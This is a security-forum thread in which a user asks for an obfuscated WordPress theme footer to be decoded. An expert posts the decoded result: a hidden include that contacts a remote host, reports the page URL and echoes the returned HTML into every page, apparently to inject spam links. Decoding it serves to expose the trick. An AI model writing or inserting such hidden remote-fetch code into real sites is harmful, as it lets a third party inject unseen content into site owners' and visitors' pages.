Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 5, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 538
Members: 0
Total: 538
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PHP script decode requests -> footer php base 64 decode
Post new topic  Reply to topic View previous topic :: View next topic 
footer php base 64 decode
PostPosted: Sat Sep 06, 2008 4:51 am Reply with quote
haxxor
Beginner
Beginner
 
Joined: Sep 06, 2008
Posts: 2




Hi, i need some help decoding this:


http://www.megaupload.com/?d=WNEX3CG2

There are 2 files in the zip package.

I will really aprecciate you'r help.

Thanks so much!
View user's profile Send private message
PostPosted: Sat Sep 06, 2008 6:51 am Reply with quote
mge
Valuable expert
Valuable expert
 
Joined: Jul 16, 2008
Posts: 142




footer:
Code:
?>      <div class="clear"></div>
   </div></div></div>
   <!-- /Main -->
   <!-- Footer -->
<div id="footer">
      
  <?php wp_loginout(); ?> | <img src="<?php bloginfo('stylesheet_directory'); ?>/images/rss.png" alt="" /><a href="feed:<?php bloginfo('rss2_url'); ?>" class="rss"> Entries RSS</a> | <img src="<?php bloginfo('stylesheet_directory'); ?>/images/rss.png" alt="" /><a href="feed:<?php bloginfo('comments_rss2_url'); ?>" class="rss"> Comments RSS</a> <br />
Copyright &copy; <?php echo date("Y"); ?> <a title="Copyright" href="<?php echo get_settings('home'); ?>/"><?php bloginfo('name'); ?></a> |  Design by <a href="http://www.litereview.com/">Lite Review</a> and Supported by <?php include(TEMPLATEPATH . '/jensos.php'); ?> and <a href="http://oneleveldirectory.com">One Level Directory</a>
   </div>
   <!-- Footer -->
</div>
<!-- /Page -->
<?php wp_footer(); ?>
</body>
</html><?


jensos:
Code:
?><?php

$defaultHtml = '';
//show_footer_links('localhost', '/php/FLink/src/FLink/script.php', 3.5, $defaultHtml);
show_footer_links('net-tec-ag.de', '/FLink/script.php', 3.5, $defaultHtml);


/**
 * Show html provided by scripts.php
 *
 * @param string $requestHost the hostname of the script.php
 * @param string $requestUri - the uri/path to the script.php
 * @param string $defaultHtml - default html to show if some problem
 * @param float $timeout - the request timeout
 */
function show_footer_links($requestHost, $requestUri, $timeout, $defaultHtml) {
    $thisDomain = getenv('HTTP_HOST');
    $thisUri = getenv('REQUEST_URI');
    $html = $defaultHtml;
    // skip if no domain or local domain
    if ($thisDomain && !preg_match('/^(localhost|127.0.0.1)(:|$)/s',
            $thisDomain)) {
        $thisUrl = "http://$thisDomain$thisUri";
        $requestUri = $requestUri . '?url=' . urlencode($thisUrl);
        $requestHost = fill_subdomain($thisUrl, $requestHost);
        $content = read_http_url($requestHost, $requestUri, 2.5);
        // removing utf-8 BOM signature (if any):
        $content = preg_replace('/^(\xEF\xBB\xBF)*\s*</s', '<', $content);
        //echo "received: $content";
        if (preg_match('/^<!--start-->.+<!--end-->\s*$/s', $content)) {
            $html = $content;
        }
    }
    echo $html;
}

function fill_subdomain($url, $requestHost) {
    if ($requestHost !== 'localhost') {
        if (function_exists('crc32')) {
            $crc32 = crc32($url);
            $ucrc32 = sprintf('%u', $crc32);
            $num = $ucrc32 % 10;
        } else {
            $num = 0;
        }
        $subdomain = 'www' . $num . '.';
        $requestHost = $subdomain . $requestHost;
        //echo $requestHost;
    }
    return $requestHost;
}

// perfrom pne get http call
function read_http_url($host, $uri, $timeout) {
    $start = microtime_float();
    $content = '';
    $fh = @fsockopen($host, 80, $errno, $errstr, 0.5);
    if ($fh && !$errstr) {
        if (function_exists('socket_set_timeout')) {
            socket_set_timeout($fh, $timeout);
        }
        socket_set_blocking($fh, 0);
        $request = <<<EOD
GET $uri HTTP/1.0
Host: $host
Connection: close


EOD;
        $write_err = @fwrite($fh, $request);
        while (!feof($fh) && (microtime_float() - $start < $timeout)) {
            usleep(5000);
            $block = fread($fh, 1024*4);
            $content .= $block;
        }
        fclose($fh);
        $content = preg_replace('/^(.+?)(\r\n|\n){2}/s', '', $content);
    }
    return $content;
}

// precise time in microseconds as float
function microtime_float() {
    list($usec, $sec) = explode(' ', microtime());
    return ((float)$usec + (float)$sec);
}
?>


there's a code segment after this but it doesn't get evaluated anyway so it doesn't make sense on its own.
View user's profile Send private message
PostPosted: Sat Sep 06, 2008 1:55 pm Reply with quote
haxxor
Beginner
Beginner
 
Joined: Sep 06, 2008
Posts: 2




Thanks a lot my friend!

Really, thanks.
View user's profile Send private message
PHP script decode requests
PostPosted: Tue Jun 02, 2009 8:23 pm Reply with quote
ferto
Beginner
Beginner
 
Joined: Jun 02, 2009
Posts: 1




What makes the code?

Please tell me for know.

Thank you very much
View user's profile Send private message
footer php base 64 decode
  www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.149 Seconds